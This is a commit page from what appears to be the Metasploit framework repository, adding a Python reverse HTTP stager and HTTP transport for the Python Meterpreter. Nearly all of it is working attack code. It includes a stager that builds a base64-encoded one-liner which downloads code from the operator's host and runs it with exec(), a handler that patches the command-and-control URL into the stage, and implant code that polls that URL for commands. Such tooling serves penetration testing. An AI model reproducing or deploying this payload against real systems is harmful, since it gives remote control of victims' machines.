Python reverse_http stager, lands #4225

bug/bundler_fix
HD Moore 2014-12-02 11:47:31 -06:00
commit fc96d011ab
No known key found for this signature in database
GPG Key ID: 22015B93FA604913
10 changed files with 277 additions and 41 deletions

View File

@ -60,9 +60,13 @@ if sys.version_info[0] < 3:
bytes = lambda *args: str(*args[:1])
NULL_BYTE = '\x00'
else:
if isinstance(__builtins__, dict):
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
str = lambda x: __builtins__['str'](x, 'UTF-8')
else:
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
str = lambda x: __builtins__.str(x, 'UTF-8')
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
NULL_BYTE = bytes('\x00', 'UTF-8')
long = int
@ -501,6 +505,8 @@ IFLA_MTU = 4
IFA_ADDRESS = 1
IFA_LABEL = 3
meterpreter.register_extension('stdapi')
def calculate_32bit_netmask(bits):
if bits == 32:
return 0xffffffff

View File

@ -18,19 +18,50 @@ except ImportError:
else:
has_windll = hasattr(ctypes, 'windll')
# this MUST be imported for urllib to work on OSX
try:
import SystemConfiguration as osxsc
has_osxsc = True
except ImportError:
has_osxsc = False
try:
urllib_imports = ['ProxyHandler', 'Request', 'build_opener', 'install_opener', 'urlopen']
if sys.version_info[0] < 3:
urllib = __import__('urllib2', fromlist=urllib_imports)
else:
urllib = __import__('urllib.request', fromlist=urllib_imports)
except ImportError:
has_urllib = False
else:
has_urllib = True
if sys.version_info[0] < 3:
is_bytes = lambda obj: issubclass(obj.__class__, str)
bytes = lambda *args: str(*args[:1])
NULL_BYTE = '\x00'
else:
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
if isinstance(__builtins__, dict):
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
str = lambda x: __builtins__['str'](x, 'UTF-8')
else:
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
str = lambda x: __builtins__.str(x, 'UTF-8')
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
NULL_BYTE = bytes('\x00', 'UTF-8')
long = int
#
# Constants
#
# these values may be patched, DO NOT CHANGE THEM
DEBUGGING = False
HTTP_COMMUNICATION_TIMEOUT = 300
HTTP_CONNECTION_URL = None
HTTP_EXPIRATION_TIMEOUT = 604800
HTTP_PROXY = None
HTTP_USER_AGENT = None
PACKET_TYPE_REQUEST = 0
PACKET_TYPE_RESPONSE = 1
@ -284,16 +315,44 @@ class STDProcess(subprocess.Popen):
export(STDProcess)
class PythonMeterpreter(object):
def __init__(self, socket):
def __init__(self, socket=None):
self.socket = socket
self.driver = None
self.running = False
self.communications_active = True
self.communications_last = 0
if self.socket:
self.driver = 'tcp'
elif HTTP_CONNECTION_URL:
self.driver = 'http'
self.last_registered_extension = None
self.extension_functions = {}
self.channels = {}
self.interact_channels = []
self.processes = {}
for func in list(filter(lambda x: x.startswith('_core'), dir(self))):
self.extension_functions[func[1:]] = getattr(self, func)
if self.driver:
if hasattr(self, 'driver_init_' + self.driver):
getattr(self, 'driver_init_' + self.driver)()
self.running = True
def driver_init_http(self):
if HTTP_PROXY:
proxy_handler = urllib.ProxyHandler({'http': HTTP_PROXY})
opener = urllib.build_opener(proxy_handler)
else:
opener = urllib.build_opener()
if HTTP_USER_AGENT:
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
urllib.install_opener(opener)
self._http_last_seen = time.time()
self._http_request_headers = {'Content-Type': 'application/octet-stream'}
def register_extension(self, extension_name):
self.last_registered_extension = extension_name
return self.last_registered_extension
def register_function(self, func):
self.extension_functions[func.__name__] = func
return func
@ -318,19 +377,73 @@ class PythonMeterpreter(object):
self.processes[idx] = process
return idx
def get_packet(self):
packet = getattr(self, 'get_packet_' + self.driver)()
self.communications_last = time.time()
if packet:
self.communications_active = True
return packet
def send_packet(self, packet):
getattr(self, 'send_packet_' + self.driver)(packet)
self.communications_last = time.time()
self.communications_active = True
def get_packet_http(self):
packet = None
request = urllib.Request(HTTP_CONNECTION_URL, bytes('RECV', 'UTF-8'), self._http_request_headers)
try:
url_h = urllib.urlopen(request)
packet = url_h.read()
except:
if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT:
self.running = False
else:
self._http_last_seen = time.time()
if packet:
packet = packet[8:]
else:
packet = None
return packet
def send_packet_http(self, packet):
request = urllib.Request(HTTP_CONNECTION_URL, packet, self._http_request_headers)
try:
url_h = urllib.urlopen(request)
response = url_h.read()
except:
if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT:
self.running = False
else:
self._http_last_seen = time.time()
def get_packet_tcp(self):
packet = None
if len(select.select([self.socket], [], [], 0.5)[0]):
packet = self.socket.recv(8)
if len(packet) != 8:
self.running = False
return None
pkt_length, pkt_type = struct.unpack('>II', packet)
pkt_length -= 8
packet = bytes()
while len(packet) < pkt_length:
packet += self.socket.recv(4096)
return packet
def send_packet_tcp(self, packet):
self.socket.send(packet)
def run(self):
while self.running:
if len(select.select([self.socket], [], [], 0.5)[0]):
request = self.socket.recv(8)
if len(request) != 8:
break
req_length, req_type = struct.unpack('>II', request)
req_length -= 8
request = bytes()
while len(request) < req_length:
request += self.socket.recv(4096)
request = None
should_get_packet = self.communications_active or ((time.time() - self.communications_last) > 0.5)
self.communications_active = False
if should_get_packet:
request = self.get_packet()
if request:
response = self.create_response(request)
self.socket.send(response)
self.send_packet(response)
else:
# iterate over the keys because self.channels could be modified if one is closed
channel_ids = list(self.channels.keys())
@ -370,7 +483,7 @@ class PythonMeterpreter(object):
pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0]))
pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1])
pkt = struct.pack('>I', len(pkt) + 4) + pkt
self.socket.send(pkt)
self.send_packet(pkt)
if data:
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
@ -379,7 +492,7 @@ class PythonMeterpreter(object):
pkt += tlv_pack(TLV_TYPE_LENGTH, len(data))
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
pkt = struct.pack('>I', len(pkt) + 4) + pkt
self.socket.send(pkt)
self.send_packet(pkt)
def handle_dead_resource_channel(self, channel_id):
del self.channels[channel_id]
@ -390,20 +503,24 @@ class PythonMeterpreter(object):
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
pkt = struct.pack('>I', len(pkt) + 4) + pkt
self.socket.send(pkt)
self.send_packet(pkt)
def _core_loadlib(self, request, response):
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
return ERROR_FAILURE
preloadlib_methods = list(self.extension_functions.keys())
self.last_registered_extension = None
symbols_for_extensions = {'meterpreter':self}
symbols_for_extensions.update(EXPORTED_SYMBOLS)
i = code.InteractiveInterpreter(symbols_for_extensions)
i.runcode(compile(data_tlv['value'], '', 'exec'))
postloadlib_methods = list(self.extension_functions.keys())
new_methods = list(filter(lambda x: x not in preloadlib_methods, postloadlib_methods))
for method in new_methods:
extension_name = self.last_registered_extension
if extension_name:
check_extension = lambda x: x.startswith(extension_name)
lib_methods = list(filter(check_extension, list(self.extension_functions.keys())))
for method in lib_methods:
response += tlv_pack(TLV_TYPE_METHOD, method)
return ERROR_SUCCESS, response
@ -546,5 +663,8 @@ if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
os.setsid()
except OSError:
pass
if HTTP_CONNECTION_URL and has_urllib:
met = PythonMeterpreter()
else:
met = PythonMeterpreter(s)
met.run()

View File

@ -194,6 +194,40 @@ protected
# Process the requested resource.
case uri_match
when /^\/INITPY/
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
url = payload_uri + conn_id + '/'
blob = ""
blob << obj.generate_stage
var_escape = lambda { |txt|
txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\'))
}
# Patch all the things
blob.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(url)}'")
blob.sub!('HTTP_EXPIRATION_TIMEOUT = 604800', "HTTP_EXPIRATION_TIMEOUT = #{datastore['SessionExpirationTimeout']}")
blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}")
blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'")
unless datastore['PROXYHOST'].blank?
proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}"
blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
end
resp.body = blob
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
:passive_dispatcher => obj.service,
:conn_id => conn_id,
:url => url,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => ssl?,
})
when /^\/INITJM/
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
url = payload_uri + conn_id + "/\x00"
@ -201,7 +235,7 @@ protected
blob = ""
blob << obj.generate_stage
# This is a TLV packet - I guess somewhere there should be API for building them
# This is a TLV packet - I guess somewhere there should be an API for building them
# in Metasploit :-)
packet = ""
packet << ["core_switch_url\x00".length + 8, 0x10001].pack('NN') + "core_switch_url\x00"
@ -223,7 +257,6 @@ protected
})
when /^\/A?INITM?/
url = ''
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")

View File

@ -8,8 +8,9 @@ module Msf
# Define 8-bit checksums for matching URLs
# These are based on charset frequency
#
URI_CHECKSUM_INITW = 92
URI_CHECKSUM_INITJ = 88
URI_CHECKSUM_INITW = 92 # Windows
URI_CHECKSUM_INITP = 80 # Python
URI_CHECKSUM_INITJ = 88 # Java
URI_CHECKSUM_CONN = 98
#
@ -61,6 +62,8 @@ module Msf
case uri_check
when URI_CHECKSUM_INITW
uri_match = "/INITM"
when URI_CHECKSUM_INITP
uri_match = "/INITPY"
when URI_CHECKSUM_INITJ
uri_match = "/INITJM"
when URI_CHECKSUM_CONN

View File

@ -96,7 +96,7 @@ module PacketDispatcher
# If the first 4 bytes are "RECV", return the oldest packet from the outbound queue
if req.body[0,4] == "RECV"
rpkt = send_queue.pop
rpkt = send_queue.shift
resp.body = rpkt || ''
begin
cli.send_response(resp)

View File

@ -0,0 +1,67 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_http'
module Metasploit3
include Msf::Payload::Stager
def initialize(info = {})
super(merge_info(info,
'Name' => 'Python Reverse HTTP Stager',
'Description' => 'Tunnel communication over HTTP',
'Author' => 'Spencer McIntyre',
'License' => MSF_LICENSE,
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Handler' => Msf::Handler::ReverseHttp,
'Stager' => {'Payload' => ""}
))
register_options(
[
OptString.new('PROXYHOST', [ false, "The address of an http proxy to use", "" ]),
OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ])
], Msf::Handler::ReverseHttp)
end
#
# Constructs the payload
#
def generate
lhost = datastore['LHOST'] || Rex::Socket.source_address
var_escape = lambda { |txt|
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
}
target_url = 'http://'
target_url << lhost
target_url << ':'
target_url << datastore['LPORT'].to_s
target_url << '/'
target_url << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP)
cmd = "import sys\n"
if datastore['PROXYHOST'].blank?
cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n"
else
proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}"
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['ProxyHandler','build_opener'])\n"
cmd << "o=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n"
end
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
cmd << "exec(o.open('#{target_url}').read())\n"
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
b64_stub = "import base64,sys;exec(base64.b64decode("
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
b64_stub << Rex::Text.encode_base64(cmd)
b64_stub << "')))"
return b64_stub
end
end

View File

@ -14,10 +14,7 @@ module Metasploit3
def initialize(info = {})
super(update_info(info,
'Name' => 'Python Meterpreter',
'Description' => %q{
Run a meterpreter server in Python. Supported Python versions
are 2.5 - 2.7 and 3.1 - 3.4.
},
'Description' => 'Run a meterpreter server in Python (2.5-2.7 & 3.1-3.4)',
'Author' => 'Spencer McIntyre',
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
@ -25,18 +22,18 @@ module Metasploit3
'Session' => Msf::Sessions::Meterpreter_Python_Python
))
register_advanced_options([
OptBool.new('DEBUGGING', [ true, "Enable debugging for the Python meterpreter", false ])
OptBool.new('PythonMeterpreterDebug', [ true, "Enable debugging for the Python meterpreter", false ])
], self.class)
end
def generate_stage
file = File.join(Msf::Config.data_directory, "meterpreter", "meterpreter.py")
file = ::File.join(Msf::Config.data_directory, "meterpreter", "meterpreter.py")
met = File.open(file, "rb") {|f|
met = ::File.open(file, "rb") {|f|
f.read(f.stat.size)
}
if datastore['DEBUGGING']
if datastore['PythonMeterpreterDebug']
met = met.sub("DEBUGGING = False", "DEBUGGING = True")
end

View File

@ -1837,6 +1837,16 @@ describe 'modules/payloads', :content do
reference_name: 'python/meterpreter/bind_tcp'
end
context 'python/meterpreter/reverse_http' do
it_should_behave_like 'payload can be instantiated',
ancestor_reference_names: [
'stagers/python/reverse_http',
'stages/python/meterpreter'
],
modules_pathname: modules_pathname,
reference_name: 'python/meterpreter/reverse_http'
end
context 'python/meterpreter/reverse_tcp' do
it_should_behave_like 'payload can be instantiated',
ancestor_reference_names: [

View File

@ -62,15 +62,15 @@ File.open('log/untested-payloads.log') { |f|
$stderr.puts
$stderr.puts " context '#{reference_name}' do\n" \
" it_should_behave_like 'payload can be instantiated',\n" \
" ancestor_reference_name: ["
" ancestor_reference_names: ["
ancestor_reference_names = options[:ancestor_reference_names]
if ancestor_reference_names.length == 1
$stderr.puts " '#{ancestor_reference_names[0]}'"
else
$stderr.puts " '#{ancestor_reference_names[0]}',"
$stderr.puts " '#{ancestor_reference_names[1]}'"
$stderr.puts " '#{ancestor_reference_names[1]}',"
$stderr.puts " '#{ancestor_reference_names[0]}'"
end
$stderr.puts " ],\n" \